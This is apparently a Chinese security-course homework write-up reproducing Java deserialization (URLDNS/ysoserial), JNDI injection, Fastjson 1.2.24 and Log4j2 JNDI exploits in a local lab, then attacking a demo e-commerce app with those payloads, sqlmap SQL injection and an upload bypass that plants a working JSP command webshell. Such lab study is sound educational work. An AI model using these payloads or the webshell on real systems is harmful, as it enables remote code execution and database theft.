C11期作业23(08.30)
目录
一、分析研究java反序列化漏洞原理并详细分析URLDNS链触发过程
java反序列化漏洞原理
原理
代码示例
代码执行结果
分析URLDNS链触发过程
演示:使⽤ysoserial⽣成URLDNS链
下载ysoserial的jar包:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
通过dnslog平台(如https://dnslog.org/)生成测试子域名
使⽤ysoserial⽣成URLDNS链
执行上述java反序列化的步骤二
查询子域名请求结果:有被代码请求
分析URLDNS链触发过程
关键代码:可在此四处打断点。调试代码发现会执行到这些地方
代码分析
二、JNDI注入漏洞原理分析复习
代码演示
下载工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5
示例代码
执行工具命令(jdk版本:jdk1.8.0_291)
运行代码:执行了命令
原理分析
⽬标代码中调⽤了InitialContext.lookup(URI),且URI为⽤户可控
攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server/name
攻击者RMI服务器向⽬标返回⼀个Reference对象,Reference对象中指定某个精⼼构造的Factory类
⽬标在进⾏lookup()操作时,会先查找本地是否存在,不存在的话则根据Reference对象信息动态加载并实例化Factory类,接着调⽤factory对象的getObjectInstance()⽅法获取外部远程对象实例
攻击者可以在Factory类⽂件的构造⽅法、静态代码块、getObjectInstance()⽅法等处写⼊恶意代码,达到RCE的效果
三、Fastjson 反序列化漏洞复习
代码示例
pom增加依赖
Student类
FastJsonJNDI类
代码执行
执行工具命令(同题目二)
运行代码
原理说明
fastjson在解析json对象时,会默认使⽤ @type 实例化某⼀个具体的类,并调⽤set/get⽅法访问属性
断点调试com.sun.rowset.JdbcRowSetImpl
setAutoCommit⽅法,调⽤了this.connect()
this.connect()⽅法,调⽤了InitialContext的lookup()方法,触发jdni注入
四、log4j2 jndi注入漏洞复习
代码示例
pom增加依赖
Log4j2JNDI类
代码执行
执行工具命令(同题目二)
运行代码
原理说明:如下代码处打断点,可知会调用到loopup方法,触发jndi注入
MessagePatternConverter
StrSubstitutor
五、搭建迷你天猫商城并复现fastjson、log4j2组件漏洞和sql注入和文件上传漏洞
搭建迷你天猫商城
下载源码
解压,使用idea打开,等待maven依赖加载完成
数据库
执行sql文件创建数据库表:Tmall_demo-master\sqls\tmalldemodb.sql
如果mysql 版本的>5.7,需在my.ini的mysqld下增加如下配置并重启mysql,否则登陆后台可能会报错
启动项目
访问站点
前台:http://localhost:8080/tmall/
后台:http://localhost:8080/tmall/admin,账号密码为 admin 123456
复现漏洞
说明
为复现漏洞,将fastjson版本更改为1.2.24,log4j版本更改为2.14.1
重新加载maven项目
启动配置中增加此配置,重启项目
使用ip替换localhost访问网站,因burp抓不到localhost的包
执行工具命令(同题目二,执行过则无需执行)
fastjson
查找漏洞利用代码:找到前台一处使用(url路径为orderItem)
使用burp抓包:访问页面,购物车页面提交订单,目标包出现
将包发到Repeater,更改orderItemMap的内容为
重新发包,弹出计算器
log4j2
查找漏洞利用代码(参数可控,且为字符串),为上传头像的处理
进入个人中心页,上传头像,burp中找到相应包
将包发到repeater,修改filename为如下内容,重新发送,弹出计算器
sql注入
查找漏洞利用代码:从dao层找到controller层(orderBy参数可控制才可以)
打开相关url的页面
使用sqlmap扫描此url,爆库成功
文件上传
查找漏洞利用代码:发现更换用户头像处没有验证文件扩展名
编写jsp一句话文件,命名为demo.jpg
进入个人中心,上传demo.jpg
burp中找到相关数据包,发送到repeater,更改filename为demo.jsp,上传jsp文件成功
访问此jsp文件,执行命令成功
一、分析研究java反序列化漏洞原理并详细分析URLDNS链触发过程
-
java反序列化漏洞原理
-
原理
- 在Java中,序列化/反序列化操作主要由java.io.ObjectOutputStream.writeObject(Object) ⽅法和
java.io.ObjectInputStream.readObject()⽅法实现 - 可通过实现Serializable接口并重写readObject()⽅法对⾃定义类对象进⾏反序列化,以完成更多操作
- 在Java中,序列化/反序列化操作主要由java.io.ObjectOutputStream.writeObject(Object) ⽅法和
-
代码示例
package com.demo.hello;import java.io.Serializable; import java.io.*;public class TestSer {public static void main(String[] args) throws IOException, ClassNotFoundException {// 步骤一:将序列化内容写⼊⽂件Test test = new Test("calc.exe");FileOutputStream fos = new FileOutputStream("data.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(test);oos.close();fos.close();// 步骤二:从⽂件中读取并反序列化FileInputStream fio = new FileInputStream("data.ser");ObjectInputStream ois = new ObjectInputStream(fio);Test bbbb = (Test)ois.readObject();ois.close();fio.close();System.out.println(bbbb);} }class Test implements Serializable {private String cmd;public Test(String cmd) {this.cmd = cmd;}public String getCmd() {return cmd;}public void setCmd(String cmd) {this.cmd = cmd;}//重写readObject()⽅法private void readObject(java.io.ObjectInputStream in) throws Exception{in.defaultReadObject();System.out.println("当前命令是:"+cmd);java.lang.Runtime.getRuntime().exec(cmd);//触发代码执⾏,模拟调⽤链} } -
代码执行结果

-
-
分析URLDNS链触发过程
-
演示:使⽤ysoserial⽣成URLDNS链
-
下载ysoserial的jar包:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

-
通过dnslog平台(如https://dnslog.org/)生成测试子域名

-
使⽤ysoserial⽣成URLDNS链

-
执行上述java反序列化的步骤二

-
查询子域名请求结果:有被代码请求

-
-
分析URLDNS链触发过程
-
关键代码:可在此四处打断点。调试代码发现会执行到这些地方




-
代码分析
- hashmap 的put⽅法:会调⽤hash⽅法,然后调用hashcode方法
- hashcode⽅法:如果hashcode值不为-1,则直接返回,当为-1时,进⼊类对象的Handler⽅法
- Handler⽅法:调⽤了getHostAddress,此方法会发起dns请求
-
-
二、JNDI注入漏洞原理分析复习
-
代码演示
-
下载工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5

-
示例代码
package org.example;import javax.naming.InitialContext; import javax.naming.NamingException;public class Client {public static void main(String[] args) throws NamingException {//解除⾼版本jdk安全限制System.setProperty("java.rmi.server.useCodebaseOnly", "false");System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");String uri = "rmi://127.0.0.1:1099/remoteExploit8";//String uri = "ldap://127.0.0.1:1389/remoteExploit8";InitialContext ctx = new InitialContext();//当uri可控,就会造成jndi注⼊漏洞ctx.lookup(uri);} } -
执行工具命令(jdk版本:jdk1.8.0_291)
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
-
运行代码:执行了命令

-
-
原理分析
-
⽬标代码中调⽤了InitialContext.lookup(URI),且URI为⽤户可控
-
攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server/name
-
攻击者RMI服务器向⽬标返回⼀个Reference对象,Reference对象中指定某个精⼼构造的Factory类
-
⽬标在进⾏lookup()操作时,会先查找本地是否存在,不存在的话则根据Reference对象信息动态加载并实例化Factory类,接着调⽤factory对象的getObjectInstance()⽅法获取外部远程对象实例
-
攻击者可以在Factory类⽂件的构造⽅法、静态代码块、getObjectInstance()⽅法等处写⼊恶意代码,达到RCE的效果
-
三、Fastjson 反序列化漏洞复习
-
代码示例
-
pom增加依赖
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency> -
Student类
package org.example;public class Student {private int age;private String name;public Student(){};public Student(String name,int age){this.name=name;this.age=age;}public int getAge() {System.out.println("调⽤了getAge");return age;}public void setAge(int age) {System.out.println("调⽤了setAge");this.age = age;}public String getName() {System.out.println("调⽤了getName");return name;}public void setName(String name) {System.out.println("调⽤了setName");this.name = name;}@Overridepublic String toString(){return "{\"name\":\""+name+'\"'+",\"age\":"+age+'}';} } -
FastJsonJNDI类
package org.example;import com.alibaba.fastjson.JSON;public class FastJsonJNDI {public static void main(String[] args) { /* // 序列化Student student = new Student("Christ1na",20);String s1 = JSON.toJSONString(student);*/// 反序列化String s= "{\"@type\":\"org.example.Student\",\"age\":20,\"name\":\"Christ1na\"}";Object parse = JSON.parse(s);System.out.println(parse);System.out.println(parse.getClass().getName());//解除⾼版本jdk安全限制System.setProperty("java.rmi.server.useCodebaseOnly", "false");System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");// JNDI漏洞String jndi = "{\n" +"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +"\"dataSourceName\":\"ldap://127.0.0.1:1389/remoteExploit8\",\n" +"\"autoCommit\":true\n" +"}";JSON.parse(jndi);} }
-
-
代码执行
-
执行工具命令(同题目二)
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc -
运行代码

-
-
原理说明
-
fastjson在解析json对象时,会默认使⽤ @type 实例化某⼀个具体的类,并调⽤set/get⽅法访问属性
-
断点调试com.sun.rowset.JdbcRowSetImpl
-
setAutoCommit⽅法,调⽤了this.connect()

-
this.connect()⽅法,调⽤了InitialContext的lookup()方法,触发jdni注入

-
-
四、log4j2 jndi注入漏洞复习
-
代码示例
-
pom增加依赖
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency> -
Log4j2JNDI类
package org.example;import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;public class Log4j2JNDI {private static final Logger log = LogManager.getLogger();public static void main(String[] args) {//解除⾼版本jdk安全限制System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");log.error("${jndi:ldap://127.0.0.1:1389/remoteExploit8}");} }
-
-
代码执行
-
执行工具命令(同题目二)
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc -
运行代码

-
-
原理说明:如下代码处打断点,可知会调用到loopup方法,触发jndi注入
-
MessagePatternConverter

-
StrSubstitutor


-
五、搭建迷你天猫商城并复现fastjson、log4j2组件漏洞和sql注入和文件上传漏洞
-
搭建迷你天猫商城
-
下载源码
https://gitee.com/project_team/Tmall_demo/repository/archive/master.zip -
解压,使用idea打开,等待maven依赖加载完成
-
数据库
-
执行sql文件创建数据库表:Tmall_demo-master\sqls\tmalldemodb.sql

-
如果mysql 版本的>5.7,需在my.ini的mysqld下增加如下配置并重启mysql,否则登陆后台可能会报错
sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION
-
-
启动项目

-
访问站点
-
前台:http://localhost:8080/tmall/

-
后台:http://localhost:8080/tmall/admin,账号密码为 admin 123456


-
-
-
复现漏洞
-
说明
-
为复现漏洞,将fastjson版本更改为1.2.24,log4j版本更改为2.14.1


-
重新加载maven项目
-
启动配置中增加此配置,重启项目
com.sun.jndi.ldap.object.trustURLCodebase
-
使用ip替换localhost访问网站,因burp抓不到localhost的包
-
执行工具命令(同题目二,执行过则无需执行)
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
-
-
fastjson
-
查找漏洞利用代码:找到前台一处使用(url路径为orderItem)

-
使用burp抓包:访问页面,购物车页面提交订单,目标包出现

-
将包发到Repeater,更改orderItemMap的内容为
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/remoteExploit8", "autoCommit":true } -
重新发包,弹出计算器

-
-
log4j2
-
查找漏洞利用代码(参数可控,且为字符串),为上传头像的处理

-
进入个人中心页,上传头像,burp中找到相应包


-
将包发到repeater,修改filename为如下内容,重新发送,弹出计算器
${jndi:ldap://127.0.0.1:1389/remoteExploit8}
-
-
sql注入
-
查找漏洞利用代码:从dao层找到controller层(orderBy参数可控制才可以)




-
打开相关url的页面

-
使用sqlmap扫描此url,爆库成功


-
-
文件上传
-
查找漏洞利用代码:发现更换用户头像处没有验证文件扩展名

-
编写jsp一句话文件,命名为demo.jpg
<%@ page import="java.io.*" %> <%String cmd = request.getParameter("cmd");if (cmd != null) {Runtime rt = Runtime.getRuntime();Process proc = rt.exec(cmd);DataInputStream dis = new DataInputStream(proc.getInputStream());String disr = dis.readLine();while (disr != null) {out.println(disr);disr = dis.readLine();}} %> -
进入个人中心,上传demo.jpg
-
burp中找到相关数据包,发送到repeater,更改filename为demo.jsp,上传jsp文件成功

-
访问此jsp文件,执行命令成功
http://yourIp:8081/tmall/res/images/item/userProfilePicture/yourFileName.jsp?cmd=calc
-
-
